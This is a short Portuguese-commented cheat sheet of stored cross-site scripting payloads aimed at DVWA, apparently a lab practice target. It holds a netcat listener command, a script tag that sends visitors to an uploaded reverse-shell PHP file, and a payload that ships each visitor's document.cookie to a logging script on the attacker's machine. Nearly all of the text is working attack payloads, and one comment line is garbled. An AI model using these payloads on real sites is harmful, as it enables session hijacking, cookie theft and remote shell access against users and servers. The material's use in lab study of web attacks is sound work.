Injection [connection]

// Exemplo: XSS - Stored
// Hacker: nc -lvp 666
// Alvo: http://192.168.0.19/dvwa/hackable/uploads/reverse_shell.php

// Chamando Reverse shell dentro do server
<script>window.location="http://192.168.0.19/dvwa/hackable/uploads/reverse_shell.php"</script>

// PExtra: egar Cookie chamando documento no seu server Apache2 no /usr/lib/cgi-bin na maquina atacante
<script>document.location="http://192.168.0.16/cgi-bin/logit.pl?"+document.cookie</script>